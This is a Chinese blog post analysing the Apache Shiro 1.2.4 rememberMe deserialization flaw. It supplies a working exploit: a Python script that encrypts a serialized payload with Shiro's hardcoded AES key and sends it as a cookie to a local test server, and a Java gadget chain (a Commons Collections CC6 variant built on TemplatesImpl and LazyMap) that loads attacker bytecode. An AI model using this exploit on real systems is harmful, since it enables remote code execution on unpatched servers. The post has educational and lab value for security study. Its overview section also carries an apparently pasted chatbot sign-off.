java反序列化shiro篇

参考链接:https://www.cnblogs.com/1vxyz/articles/17594014.html

前言:

shiro的反序列化是基于cc链和cb链的基础的,对这些没有概念的可以去看我的博客()

shiro概述:

Shiro是一个基于Java的强大且易于使用的开源安全框架,用于身份验证、授权、加密和会话管理。Shiro的设计目标是为应用程序提供简单但强大的安全性解决方案,使开发人员能够轻松地集成各种安全功能到他们的应用程序中。

Shiro提供了一系列的功能,包括但不限于:

  1. 身份验证(Authentication):验证用户的身份是Shiro最基本的功能之一。Shiro支持多种身份验证方式,包括用户名密码验证、基于角色的验证、基于权限的验证等。

  2. 授权(Authorization):授权是确定哪些用户可以访问应用程序中的哪些资源的过程。Shiro提供了精细的授权控制机制,可以基于角色、权限等对用户进行授权管理。

  3. 加密(Cryptography):Shiro提供了加密和解密数据的方法,可以帮助开发人员保护应用程序中敏感数据的安全性。

  4. 会话管理(Session Management):Shiro可以处理用户会话管理,包括会话的创建、存储、过期和删除等功能,帮助开发人员管理用户登录状态和会话信息。

总的来说,Shiro是一个全面的安全框架,可以帮助开发者快速集成安全功能到他们的Java应用程序中,提供身份认证、授权、加密和会话管理等关键功能。Shiro的简单易用性和强大性能使其成为Java开发人员广泛采用的安全解决方案之一。希望这个解释对您有帮助!如有任何其他问题,请随时告诉我!

漏洞分析:

成因

简要的说就是shiro框架通过cookie验证身份,对cookie进行了一系列加密手段,其中包括序列化。因此我们知道其加密手段,就可加密一个恶意类,当其被反序列化时就会触发恶意代码。

加密流程:

我们直接来看shiro对于cookie的解密函数getRememberedSerializedIdentity()

protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {

        if (!WebUtils.isHttp(subjectContext)) {
            if (log.isDebugEnabled()) {
                String msg = "SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a " +
                        "servlet request and response in order to retrieve the rememberMe cookie. Returning " +
                        "immediately and ignoring rememberMe operation.";
                log.debug(msg);
            }
            return null;
        }

        WebSubjectContext wsc = (WebSubjectContext) subjectContext;
        if (isIdentityRemoved(wsc)) {
            return null;
        }

        HttpServletRequest request = WebUtils.getHttpRequest(wsc);
        HttpServletResponse response = WebUtils.getHttpResponse(wsc);

        String base64 = getCookie().readValue(request, response);
        // Browsers do not always remove cookies immediately (SHIRO-183)
        // ignore cookies that are scheduled for removal
        if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

        if (base64 != null) {
            base64 = ensurePadding(base64);
            if (log.isTraceEnabled()) {
                log.trace("Acquired Base64 encoded identity [" + base64 + "]");
            }
            byte[] decoded = Base64.decode(base64);
            if (log.isTraceEnabled()) {
                log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
            }
            return decoded;
        } else {
            //no cookie set - new site visitor?
            return null;
        }
    }

获取request请求的cookie,然后对其进行base64解密,返回解密后的内容

 看看在哪调用了上面的函数,看看解密后的内容用来干什么。

 重点在convertBytesToPrincipals函数,进入看看,在这边先调用了一个解密函数,再调用了反序列化函数,看看解密函数是怎么样的。

 cipherService是new AesCipherService()的实例,听名字就是aes加密的算法服务。

AES(Advanced Encryption Standard)是一种对称加密算法,是一种被广泛使用的加密标准。它是用来保护电子数据的常见加密技术,比如在网络安全、通信系统等领域广泛使用。

AES算法支持128位、192位和256位的密钥长度,它会将明文按照固定长度(128位)进行分组,并通过一系列的加密轮(rounds),对每个密钥长度对应的轮数进行加密操作,最终生成密文。

 

解密函数传入了要解密的数据和密钥,密钥是通过getDecryptionCipherKey()获取的,知道这个密钥,我们就能自己加密恶意数据了,进入方法看看

 

一步步往回推,最后可以找到key就是下面的内容

加密脚本:

import sys
from datetime import datetime
from Crypto.Cipher import AES
import uuid
import base64
import requests


def get_file_data(filename):
    with open(filename, "rb") as f:
        data = f.read()
        f.close()
    return data


def aes_encode(ser_bin):
    # aes数据分组长度为128 bit
    BS = AES.block_size
    # padding
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    # shiro1.2.4 硬编码key
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    # CBC模式
    mode = AES.MODE_CBC
    # 偏移量随机
    iv = uuid.uuid4().bytes
    # 创建加密
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    # 使用密钥进行AES加密 Base64加密
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(ser_bin)))
    return base64_ciphertext.decode("utf-8")


def exp(cipher):
    cookies = {
        'rememberMe': cipher,
    }

    headers = {
        'Host': 'localhost:8080',
        'Cache-Control': 'max-age=0',
        'Upgrade-Insecure-Requests': '1',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
        'Sec-Fetch-Site': 'same-origin',
        'Sec-Fetch-Mode': 'navigate',
        'Sec-Fetch-User': '?1',
        'Sec-Fetch-Dest': 'document',
        'sec-ch-ua': '"-Not.A/Brand";v="8", "Chromium";v="102"',
        'sec-ch-ua-mobile': '?0',
        'sec-ch-ua-platform': '"Windows"',
        'Referer': 'http://localhost:8080/samples_web_war/login.jsp',
        'Accept-Language': 'zh-CN,zh;q=0.9',
        'Connection': 'close',
    }

    requests.get('http://localhost:8080/samples_web_war/', cookies=cookies, headers=headers)


if __name__ == '__main__':

    #打印payload,ser.bin为序列化的恶意类,与脚本在同目录下
    print(aes_encode(get_file_data("ser.bin")))  
    #加上发包 
    #exp(aes_encode(get_file_data("ser.bin")))    
    print('success')

存在问题

shiro中虽然自带了cc3的依赖,但实际上并没有加载这个依赖。但是实际上就算加载了cc3依赖,用常见的cc链直接打也会出现报错。

 原因是shiro的deserialize经过重写,不能加载数组。

前面的​​getSerializer()​​返回的是DefaultSerializer,调用其中的deserialize

可以看到这里用的不是正常的 new ObjectInputStream(bis),而是new ClassResolvingObjectInputStream(bis),在ClassResolvingObjectInputStream中重写resolveClass方法,这个方法会在反序列化时自动调用。

 相较于ObjectInputStream.resolveClass()通过class.forname()获取class对象,ClassResolvingObjectInputStream.resolveClass()通过ClassUtils.forName,区别就是后者不支持数组。

漏洞利用

cc3:

因为shiro并没有加载cc3的依赖,因此我们自己在pom.xml中加上即可

不能利用transform数组意味着不能用chaintransformer来触发恶意链,所以我们考虑使用cc链2中的动态加载恶意类来触发恶意代码,但是transformingComparator在cc3中没有实现序列化接口,不能被序列化,因此我们需要考虑别的方法来触发Invoketransformer.transform(),进而触发TemplatesImpl.newTransformer()。

lazyMap.get()方法就是不错的选择,而在cc1,5,6中都调用了lazyMap.get(),理论上三者都可行,这里笔者仅拿cc6写poc

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class shiro_cc3 {
    public static void main(String[] args) throws Exception {
        String url = "org.example.test";
        byte[] code = Files.readAllBytes(Paths.get("E:\\java_code\\shiro_ser\\target\\classes\\org\\example\\cc3_test.class"));
        byte[][] codes = {code};
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();
        Field name = templatesClass.getDeclaredField("_name");
        Field aClass = templatesClass.getDeclaredField("_class");
        Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
        Field tfactory = templatesClass.getDeclaredField("_tfactory");
        name.setAccessible(true);
        aClass.setAccessible(true);
        bytecodes.setAccessible(true);
        tfactory.setAccessible(true);
        name.set(templates, "aaa");
        aClass.set(templates, null);
        bytecodes.set(templates, codes);
        tfactory.set(templates, new TransformerFactoryImpl());
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));//恶意的lazymap对象
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,templates);//恶意的对象
        map.put(tiedMapEntry,"value");
        map.remove(templates);
        Class c = lazymap.getClass();
        Field factory = c.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap,invokerTransformer);
        SerializeObjectTool serializeObjectTool = new SerializeObjectTool();
        serializeObjectTool.serialize(map); //自己写的序列化和反序列化代码
        serializeObjectTool.unserialize();

    }

}

将生成的ser.bin文件加密后替换cookie中的rememberMe字段即可。

 注意要把前面的jsessionid字段删除,因为识别了这个字段就不会去看后面的rememberMe了

cb:

cb依赖是shiro自带并且真正加载了的,因此可以拿cb链的poc直接打,就不多讲了

  • 29
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值